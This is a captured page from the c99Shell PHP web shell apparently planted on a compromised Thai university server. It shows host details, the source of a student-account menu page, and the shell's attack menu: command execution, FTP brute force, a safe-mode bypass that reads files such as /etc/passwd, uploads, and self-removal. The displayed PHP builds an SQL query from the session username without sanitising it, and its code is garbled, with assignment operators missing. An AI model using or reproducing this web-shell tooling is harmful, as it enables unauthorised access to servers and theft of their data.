!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Std_Acc_depart/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Menu_Std_Acc.php (3.87 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();
 if (
session_is_registered("valid_user")&&session_is_registered("password"))
 {
 
$Username $valid_user;
include(
"../include/FunctionDB.php");
include(
"admin_menu.php");
include(
"../include/Function.php");
ConnectDB();
$Username $valid_user;
$sql "SELECT * FROM personal_tb WHERE Username='$Username'";
$result mysql_query($sql) ;
$rs mysql_fetch_array($result);
$row mysql_num_rows($result);
$strSQL "SELECT * FROM faculty_tb";
$result mysql_query($strSQL); 
$total mysql_num_rows$result );
?> 

<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
.style1 {font-size: 14px}
-->
</style>
<table width="823" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="741" ><br> 
          <fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="Menu_Std_Acc.php">หน้าหลัก</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"> รายชื่อข้อมูลงานวิจัย</font></legend>
            <label>
  <form id="form1" name="form1" method="post" action="">
    <p><font size="2" face="Tahoma"><img src="../picture/previous.gif" onclick="window.history.back()"  width="85" height="22" border="0" /></font></p>
    <table width="69%" border="0" align="center" cellpadding="0" cellspacing="5">
      <tr>
        <td colspan="3"><div align="center"><img src="../Image/stdaclogo.jpg" width="410" height="56" /></div></td>
        </tr>
      
      <tr>
        <td>&nbsp;</td>
        <td>&nbsp;</td>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td>&nbsp;</td>
        <td><div align="center"><img src="../Image/edeton.gif" width="17" height="17" /></div></td>
        <td><span class="style1"> <font color="#003366" face="Tahoma"><a href="StudentList.php" class="d">ข้อมูลนักศึกษา</a></font></span></td>
      </tr>
      <tr>
        <td width="7%">&nbsp;</td>
        <td width="5%"><div align="center"><img src="../Image/edeton.gif" width="17" height="17" /></div></td>
        <td width="88%"><span class="style1"><font color="#CCCCCC" face="Tahoma"><a href="StudentByCourse.php" class="d">จำนวนนักศึกษาจำแนกตามหลักสูตร</a></font></span></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
        <td><div align="center"><img src="../Image/edeton.gif" width="17" height="17" /></div></td>
        <td><span class="style1"> <font color="#CCCCCC" face="Tahoma"><a href="StudentByYear.php" class="d">จำนวนนักศึกษาจำแนกตามปีการศึกษา</a></font></span></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
        <td><div align="center"><img src="../Image/edeton.gif" width="17" height="17" /></div></td>
        <td><span class="style1"><font face="Tahoma"><a href="PI11/ByStdId.php" class="d">แบบบันทึกบัณฑิตได้งานทำ 
            ภานใน 1 ปี รวมทั้งการประกอบอาชีพอิสระ</a></font></span></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
        <td><div align="center"><img src="../Image/edeton.gif" width="17" height="17" /></div></td>
        <td><span class="style1"> <font face="Tahoma"><a href="PI12/StatisticList.php" class="d">แบบบันทึกผลความพึงพอใจของผู้ใช้บัณฑิต</a></font></span></td>
      </tr>
      
      <tr>
        <td>&nbsp;</td>
        <td>&nbsp;</td>
        <td><font size="4" face="Tahoma"><strong><a href="../Research_depart/Magazine/MagList.php" class="d"> </a></strong></font><font size="2" face="Tahoma"><strong></strong></font></td>
      </tr>
    </table>
  </form>
          </fieldset>
        <br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br>
      </font></td>
    </tr>
</table>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0128 ]--